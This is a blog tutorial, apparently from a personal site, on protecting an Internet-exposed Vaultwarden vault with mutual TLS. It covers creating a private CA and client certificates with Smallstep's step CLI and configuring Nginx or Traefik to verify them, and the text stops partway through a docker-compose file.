&lt;p&gt;One of the most common way people get their accounts stolen is by their password being stolen or guessed. When you use any website online, when inputting your password, you’re trusting the website with this sensitive info. The website administrators have to store your password in a secure fashion (using &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Salt_%28cryptography%29&quot;&gt;salts&lt;&#x2F;a&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cryptographic_hash_function&quot;&gt;hashes&lt;&#x2F;a&gt;), they have to ensure their app is not compromised, etc.&lt;&#x2F;p&gt;
&lt;p&gt;Using a different password on every website is hence &lt;strong&gt;a great protection&lt;&#x2F;strong&gt;. Even if a website you use is completely compromised and your password leaks, only that website is affected. Your private data on all the other online services you use is not at risk.&lt;&#x2F;p&gt;
&lt;p&gt;You have many options. If you want an offline program, &lt;a href=&quot;https:&#x2F;&#x2F;keepass.info&#x2F;index.html&quot;&gt;KeePass&lt;&#x2F;a&gt; is old, very trusted, looks bad, but gets the job done. Me, I prefer &lt;a href=&quot;https:&#x2F;&#x2F;keepassxc.org&#x2F;&quot;&gt;KeePassXC&lt;&#x2F;a&gt;, which is similar but more modern. Both these programs and others, however, don’t take care of syncing passwords between your devices: you’d have to share and keep your database up-to-date on all your machines.&lt;&#x2F;p&gt;
&lt;p&gt;So in today’s world, an online tool is a lot more convenient. Again, many choices, my recommendation being &lt;a href=&quot;https:&#x2F;&#x2F;bitwarden.com&#x2F;&quot;&gt;Bitwarden&lt;&#x2F;a&gt;, free for most use-cases, and very fairly priced for premium features. The server Bitwarden itself is free software (AGPL v3), which means in a nutshell that you also can run it from your own server for free.&lt;&#x2F;p&gt;
&lt;p&gt;I use &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dani-garcia&#x2F;vaultwarden&quot;&gt;Vaultwarden&lt;&#x2F;a&gt;, because the Bitwarden server is a little hungry in resources. Vaultwarden is more lightweight, and &lt;strong&gt;follows the Bitwarden API&lt;&#x2F;strong&gt;: this has the great benefit of allowing us to use all the official Bitwarden clients with it (desktop apps, mobile apps and browser extensions).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;exposing-my-vault-online&quot;&gt;Exposing my vault online&lt;&#x2F;h2&gt;
&lt;p&gt;I need to access my Vaultwarden data from my phone and computers to keep the passwords synced. For years, my setup was a home “server” (really, a &lt;a href=&quot;https:&#x2F;&#x2F;www.notebookcheck.net&#x2F;Intel-NUC-Kit-NUC7CJYH-Celeron-J4005-UHD-600-Mini-PC-Review.308466.0.html&quot;&gt;cheap NUC&lt;&#x2F;a&gt; that consumes almost no electricity), with Vaultwarden on it, accessible from my home network or through WireGuard for remote access. However, that’s a machine used to test stuff, and as a result, it is often down. Also, using WireGuard to remotely access my vault was cumbersome and sometimes not possible. After a while, I got tired of maintaining this, so now, I run Vaultwarden from an online VPS, and &lt;strong&gt;it’s exposed on the Internet&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This is the choice of &lt;strong&gt;convenience&lt;&#x2F;strong&gt;. However, we’re talking about the cornerstone of my online security. All my passwords and secrets are in my Vaultwarden server: if someone breaks in somehow, &lt;em&gt;I’m in deep trouble&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;One of the steps I took was to try and hide it: dedicated server, dedicated domain, only accessible through an unguessable subdomain, which isn’t in DNS records. This way, finding my vault is not easy: malicious scanning bots won’t stumble into it by accident. I could still, of course, accidentally expose the domain it’s on in a number of ways.&lt;&#x2F;p&gt;
&lt;p&gt;For instance, anyone spying on my Internet connection could see this domain if I use non-encrypted DNS requests. Also, if my browser doesn’t encrypt the first step of the TLS handshake (called the &lt;code&gt;Client Hello&lt;&#x2F;code&gt;), it contains what’s called the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Server_Name_Indication&quot;&gt;Server Name Indication&lt;&#x2F;a&gt; extension of TLS (&lt;code&gt;SNI&lt;&#x2F;code&gt;), which itself contains my super secret domain in cleartext. Yet another way of finding out this domain is to look at the certificate the server sends back, which contain the domain it’s valid for in cleartext (except if you use the latest version of TLS, TLS 1.3).&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;A quick word on &lt;code&gt;DNS&lt;&#x2F;code&gt;, &lt;code&gt;SNI&lt;&#x2F;code&gt;, &lt;code&gt;Client Hello&lt;&#x2F;code&gt;, and how they could expose our domain to a network observer.&lt;&#x2F;p&gt;
&lt;p&gt;When using your browser, if you go to &lt;code&gt;https:&#x2F;&#x2F;zoug.fr&lt;&#x2F;code&gt;, you’ll ask a DNS server, usually operated by your ISP, to translate that domain to an IP address, say &lt;code&gt;203.0.113.42&lt;&#x2F;code&gt;. The DNS request you would send to find that info is usually unencrypted, except if you use an encrypted DNS variant (your two options being DNS-over-HTTPS (&lt;code&gt;DoH&lt;&#x2F;code&gt;) or DNS-over-TLS (&lt;code&gt;DoT&lt;&#x2F;code&gt;)). So anyone watching the packets going through your Internet connection will see what domain you’re trying to access.&lt;&#x2F;p&gt;
&lt;p&gt;Then, since you’re using HTTPS, your browser will &lt;strong&gt;establish an encrypted tunnel&lt;&#x2F;strong&gt; (actually &lt;em&gt;two&lt;&#x2F;em&gt; encrypted tunnels, one for client to server communications, and another, different one for server to client data) with the server at &lt;code&gt;203.0.113.42&lt;&#x2F;code&gt;: this process is called a TLS &lt;strong&gt;handshake&lt;&#x2F;strong&gt;. However, the server may have more than one domain associated with it, e.g. maybe &lt;code&gt;https:&#x2F;&#x2F;example.com&lt;&#x2F;code&gt; is also served by the same IP address. So the server you’re connecting to actually has to know if you’re trying to access &lt;code&gt;zoug.fr&lt;&#x2F;code&gt; or &lt;code&gt;example.com&lt;&#x2F;code&gt;, in order to use the right &lt;strong&gt;TLS certificate&lt;&#x2F;strong&gt; and the corresponding public key to establish the encrypted tunnels (the certificate valid for &lt;code&gt;zoug.fr&lt;&#x2F;code&gt; may not be valid for &lt;code&gt;example.com&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;To solve this, the first step of the TLS handshake, called the &lt;code&gt;Client Hello&lt;&#x2F;code&gt;, includes an extension called &lt;code&gt;SNI&lt;&#x2F;code&gt;. The &lt;code&gt;SNI&lt;&#x2F;code&gt; contains the domain we’re trying to access. This happens &lt;strong&gt;before&lt;&#x2F;strong&gt; any encryption takes place. So in our scenario, on untrusted networks and only by watching the TLS traffic, people may see not only the IP address, but also &lt;strong&gt;our super secret domain passing through the wire&lt;&#x2F;strong&gt; when I’m using my vault, even though the pages I visit, the actual data I send and receive is encrypted.&lt;&#x2F;p&gt;
&lt;p&gt;Most webservers today support TLS v1.3, which can encrypt the first step of the handshake (&lt;code&gt;Encrypted Client Hello&lt;&#x2F;code&gt;, or &lt;code&gt;ECH&lt;&#x2F;code&gt; for short). However, this is still very much a work in progress (&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;openssl&#x2F;project&#x2F;issues&#x2F;892&quot;&gt;for example for OpenSSL support&lt;&#x2F;a&gt;). Assuming your browser and the server it’s talking to implement it, your TLS connection won’t contain the domain you’re trying to access in cleartext: &lt;a href=&quot;https:&#x2F;&#x2F;www.cloudflare.com&#x2F;ssl&#x2F;encrypted-sni&#x2F;&quot;&gt;you can check here&lt;&#x2F;a&gt; if that’s the case, or by quite simply opening up &lt;code&gt;wireshark&lt;&#x2F;code&gt; and inspecting the TLS packets you’re sending.&lt;&#x2F;p&gt;
&lt;p&gt;Even if we do everything right, we’re still &lt;a href=&quot;https:&#x2F;&#x2F;community.fortinet.com&#x2F;t5&#x2F;FortiGate&#x2F;Technical-Tip-How-to-block-TLS-1-3-Encrypted-Client-Hello-ECH-in&#x2F;ta-p&#x2F;328324&quot;&gt;not safe in corporate networks&lt;&#x2F;a&gt; (but who ever is?), nor if our employer &lt;a href=&quot;https:&#x2F;&#x2F;docs.broadcom.com&#x2F;doc&#x2F;responsibly-intercepting-tls-and-the-impact-of-tls-1.3.en&quot;&gt;“responsibly” (🤣) intercepts all of our traffic&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;If you want to learn more about TLS, look no further than this visual explanation by Michael Driscoll, &lt;a href=&quot;https:&#x2F;&#x2F;tls13.xargs.org&#x2F;&quot;&gt;The Illustrated TLS 1.3 Connection&lt;&#x2F;a&gt;: it’s a gem. I also quite liked &lt;a href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=ZkL10eoG1PY&quot;&gt;this video by Practical Networking&lt;&#x2F;a&gt;, if that’s your preference.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Anyways, enough about that. Another step I could also take to better protect my vault would be to &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;owasp-modsecurity&#x2F;ModSecurity-nginx&quot;&gt;have a WAF&lt;&#x2F;a&gt; (&lt;em&gt;Web Application Firewall&lt;&#x2F;em&gt;) between the Internet and this service. Still, the decision of exposing my vault online wasn’t sitting right by me.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;enter-mtls&quot;&gt;Enter mTLS&lt;&#x2F;h2&gt;
&lt;p&gt;A perfect way to better protect my vault is &lt;strong&gt;mTLS&lt;&#x2F;strong&gt;. There’s one thing I can’t live without: access to my vault from my phone. This is very, very handy, and has saved me on countless occasions. mTLS was out of the question if it meant I could no longer use the Bitwarden Android app, so imagine my happiness when I learned that &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bitwarden&#x2F;android&#x2F;pull&#x2F;4486#issuecomment-2867152344&quot;&gt;the app now supports it&lt;&#x2F;a&gt; for self-hosted setups (since May 2025). Many thanks to the contributors and to Bitwarden for working on this, as I’m sure it’s not a business priority!&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;strong&gt;m&lt;&#x2F;strong&gt; of &lt;strong&gt;mTLS&lt;&#x2F;strong&gt; stands for &lt;strong&gt;mutual&lt;&#x2F;strong&gt;. Instead of you (i.e. your browser) authenticating the website you’re visiting (i.e. making sure only the &lt;strong&gt;zoug.fr&lt;&#x2F;strong&gt; website can access the data you send it, no one else), &lt;strong&gt;mTLS&lt;&#x2F;strong&gt; does the same, but &lt;strong&gt;mutually&lt;&#x2F;strong&gt;, i.e. the website you’re visiting &lt;strong&gt;also authenticates the client&lt;&#x2F;strong&gt; (i.e. your browser).&lt;&#x2F;p&gt;
&lt;p&gt;With TLS, that authentication step works by leveraging what we call &lt;strong&gt;certificate authorities&lt;&#x2F;strong&gt;, or CAs for short. These are nothing more than public&#x2F;private keys, such as the ones we’ll generate later in this article, but they are ✨ &lt;em&gt;special&lt;&#x2F;em&gt; ✨ in that they are trusted by your browser (there’s &lt;a href=&quot;https:&#x2F;&#x2F;ccadb.my.salesforce-sites.com&#x2F;mozilla&#x2F;CACertificatesInFirefoxReport&quot;&gt;quite a few of them&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;These trusted CAs supply TLS certificates and &lt;strong&gt;cryptographically sign&lt;&#x2F;strong&gt; them. They have to make sure that when they send a TLS certificate for a domain, the certificate is sent to someone who controls that domain. So when you visit &lt;code&gt;zoug.fr&lt;&#x2F;code&gt; and receive a TLS certificate from the server, your browser can verify that one of the trusted CAs it bundles supplied it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;In theory&lt;&#x2F;strong&gt;, this assures you that you’re indeed accessing the website you want to go to, not someone else pretending to be that website to steal your credentials or data. If that verification fails, your browser won’t allow you to access that domain, at least not without clearing stating that &lt;em&gt;your connection is not secure&lt;&#x2F;em&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;mTLS works pretty much the same way&lt;&#x2F;strong&gt;. However, the &lt;strong&gt;mutual&lt;&#x2F;strong&gt; part means that in addition to the server’s certificate, &lt;strong&gt;your browser also sends one&lt;&#x2F;strong&gt; (or, in our case, the Bitwarden mobile app sends it). The server does the exact same verification your browser does, i.e. verifies that the TLS certificate the client sent it was indeed signed by a trusted CA.&lt;&#x2F;p&gt;
&lt;p&gt;Hopefully, if I was clear in my explanations, you can now see where we’re headed. What we want to do is &lt;strong&gt;first create our own private certificate authority&lt;&#x2F;strong&gt;, then use it to &lt;strong&gt;generate client certificates&lt;&#x2F;strong&gt; for our devices. Then we want to configure &lt;strong&gt;a reverse proxy to validate client certificates&lt;&#x2F;strong&gt; trying to access our vault, and only grant access if the client has supplied &lt;strong&gt;a certificate signed by our private CA&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This will allow me to rest easy. If I make sure that no one steals my CA’s private key, nor any client certificate I generate with it, I can be &lt;strong&gt;very confident&lt;&#x2F;strong&gt; in the fact that no unauthorized bytes will ever reach Vaultwarden.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s get to it!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;creating-our-own-ca-smallstep&quot;&gt;Creating our own CA (Smallstep)&lt;&#x2F;h1&gt;
&lt;p&gt;OpenSSL is the reference when doing these operations, and you’ll easily find tutorials online with that tool. We’ll use &lt;a href=&quot;https:&#x2F;&#x2F;smallstep.com&#x2F;cli&#x2F;&quot;&gt;Smallstep’s CLI&lt;&#x2F;a&gt; here, &lt;code&gt;step&lt;&#x2F;code&gt;, which I find easier to work with. Everything I’m doing here is &lt;a href=&quot;https:&#x2F;&#x2F;smallstep.com&#x2F;docs&#x2F;step-cli&#x2F;basic-crypto-operations&#x2F;#create-and-work-with-x509-certificates&quot;&gt;covered more in-depth&lt;&#x2F;a&gt; in the docs.&lt;&#x2F;p&gt;
&lt;p&gt;To generate a root certificate authority called &lt;code&gt;ZCA&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;step certificate create ZCA ca-root.crt ca-root.key --profile=root-ca
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Please enter the password to encrypt the private key:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;&amp;lt;input a strong passphrase here and store it in... your vault of course!&amp;gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Your certificate has been saved in ca-root.crt.
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Your private key has been saved in ca-root.key.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;By default, &lt;code&gt;step&lt;&#x2F;code&gt; will generate a certificate valid for 10 years, and using &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Elliptic_Curve_Digital_Signature_Algorithm&quot;&gt;elliptic-curve cryptography&lt;&#x2F;a&gt;. Everything can be fine-tuned, &lt;a href=&quot;https:&#x2F;&#x2F;smallstep.com&#x2F;docs&#x2F;step-cli&#x2F;reference&#x2F;certificate&#x2F;create&#x2F;#options&quot;&gt;more info in the manual&lt;&#x2F;a&gt;. Using this CA, we can generate a client certificate, valid for a year:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;step certificate create Browser browser.crt browser.key \
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;    --profile leaf --&lt;span class=&quot;z-keyword z-operator z-logical z-dosbatch&quot;&gt;not&lt;&#x2F;span&gt;-after=8760h \
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;    --ca .&#x2F;ca-root.crt --ca-key .&#x2F;ca-root.key --bundle
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-caution&quot;&gt;
&lt;p&gt;What I’m doing here is signing the client certificate directly with the root CA, which is not the most secure way of doing it.&lt;&#x2F;p&gt;
&lt;p&gt;The root CA certificate is long-lived and very (very) important: if it leaks, you can no longer trust any certificate signed by it. What you usually want to do is generate an intermediate certificate from the root CA (&lt;code&gt;--profile intermediate-ca&lt;&#x2F;code&gt;), then only use that certificate to generate leaf certificates.&lt;&#x2F;p&gt;
&lt;p&gt;This way, the root CA can be stored offline and as securely as possible (even using &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Hardware_security_module&quot;&gt;dedicated hardware&lt;&#x2F;a&gt;), and you only need the intermediate CA for all usual operations.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Let’s take a closer look at the generated client certificate, using &lt;code&gt;step certificate inspect browser.crt&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;div class=&quot;crt scanlines&quot; aria-hidden=&quot;true&quot;&gt;
	&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Certificate:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;    [...]
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;    Signature Algorithm: ECDSA-SHA256
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;        Issuer: CN=ZCA
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;        Validity
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;            Not Before: Oct 11 20:38:53 2025 UTC
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;            Not After : Oct 11 20:38:15 2026 UTC
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;        Subject: CN=Browser
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;        Subject Public Key Info:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;            [...]
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;                Curve: P-256
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;        X509v3 extensions:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;            X509v3 Key Usage: critical
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;                Digital Signature
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;            X509v3 Extended Key Usage:
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;                Server Authentication, Client Authentication
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;            [...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;

&lt;&#x2F;div&gt;
&lt;p&gt;We see that the issuer of our certificate is indeed our &lt;code&gt;ZCA&lt;&#x2F;code&gt; root CA, and that this certificate’s subject only contains its common name (or CN), &lt;code&gt;Browser&lt;&#x2F;code&gt; in this case. If this were to be used as a TLS certificate for a webserver, we’d have the domain name in this CN field (e.g. &lt;code&gt;www.zoug.fr&lt;&#x2F;code&gt;). We also see that in the &lt;code&gt;X509v3 extensions&lt;&#x2F;code&gt; section, &lt;code&gt;Client Authentication&lt;&#x2F;code&gt; is an authorized use of this certificate.&lt;&#x2F;p&gt;
&lt;p&gt;Since everything seems fine, we can load this client certificate in our web browser. However, Librewolf (based on Firefox), the browser I use, only accepts a PKCS#12 file format (which contains both the certificate and the associated private key). To generate this file from what we have:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd z-code&quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;&lt;span class=&quot;z-source z-dosbatch&quot;&gt;step certificate p12 browser.p12 browser.crt browser.key
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And then, import the resulting &lt;code&gt;browser.p12&lt;&#x2F;code&gt; file in the browser:&lt;&#x2F;p&gt;
&lt;figure&gt;
&lt;img class=&quot;no-hover&quot;alt=&quot;Screenshot of Librewolf&amp;#x27;s settings&quot;src=&quot;import-cert-librewolf.webp&quot;&#x2F;&gt;
&lt;figcaption&gt;Screenshot of Librewolf&#x27;s settings. Trigger warning: French.&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;That’s basically it!&lt;&#x2F;p&gt;
&lt;p&gt;We now have the two necessary pieces for an mTLS connection to take place:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;the root CA’s public key&lt;&#x2F;strong&gt; (contained in its certificate), used by the webserver to verify that the client certificate is indeed authorized&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;our browser’s client certificate&lt;&#x2F;strong&gt;, our only (for now) authorized client, i.e. the certificate supplied by our browser when connecting to our webserver&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;setting-up-traefik-for-mtls&quot;&gt;Setting up Traefik for mTLS&lt;&#x2F;h1&gt;
&lt;p&gt;The first (and most complicated) step is now done, congratulations! All that is left to do now is to setup our webserver or reverse proxy to accept mTLS connections, and verify that the client is authorized.&lt;&#x2F;p&gt;
&lt;p&gt;If you’re using Nginx, it’s as simple as adding, in your &lt;code&gt;server&lt;&#x2F;code&gt; block:&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;ssl_client_certificate &#x2F;path&#x2F;to&#x2F;ca-root.crt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;ssl_verify_client on;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this tutorial, we’ll do the configuration for the &lt;strong&gt;Traefik&lt;&#x2F;strong&gt; reverse proxy.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;doc.traefik.io&#x2F;traefik&#x2F;getting-started&#x2F;quick-start&#x2F;&quot;&gt;Traefik&lt;&#x2F;a&gt; is written in Go and has been around for some time now. Along with other helpful feature such as &lt;a href=&quot;https:&#x2F;&#x2F;doc.traefik.io&#x2F;traefik&#x2F;reference&#x2F;install-configuration&#x2F;tls&#x2F;certificate-resolvers&#x2F;acme&#x2F;&quot;&gt;Let’s Encrypt automation&lt;&#x2F;a&gt; out-of-the-box, it’s built for use with Docker (and Kubernetes), so it’s perfect if you’re also deploying your sensitive service using Docker.&lt;&#x2F;p&gt;
&lt;p&gt;For instance, to deploy Traefik and Vaultwarden using Docker Compose:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml z-code&quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; docker-compose.yml
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;&lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;services&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; reverse proxy
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;  &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;traefik&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;image&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;traefik:3.5&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; the ports Traefik listens on, usually HTTP (80) and HTTPS (443)
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;ports&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;80:80&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;443:443&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;    &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&lt;span class=&quot;z-entity z-name z-tag z-yaml&quot;&gt;volumes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-mapping z-yaml&quot;&gt;:&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; Traefik has read access to the Docker daemon
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;&#x2F;var&#x2F;run&#x2F;docker.sock:&#x2F;var&#x2F;run&#x2F;docker.sock:ro&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; Traefik&amp;#39;s installation config file, where you define the Docker
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; provider, which ports Traefik should listen on, etc.
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-punctuation z-definition z-block z-sequence z-item z-yaml&quot;&gt;-&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-unquoted z-plain z-out z-yaml&quot;&gt;.&#x2F;traefik-install.yml:&#x2F;etc&#x2F;traefik&#x2F;traefik.yml&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-yaml&quot;&gt;      &lt;span class=&quot;z-comment z-line z-number-sign z-yaml&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-line z-number-sign z-yaml&quot;&gt;#&lt;&#x2F;span&gt; path to our dynamic config file, where the Vaultwarden-related
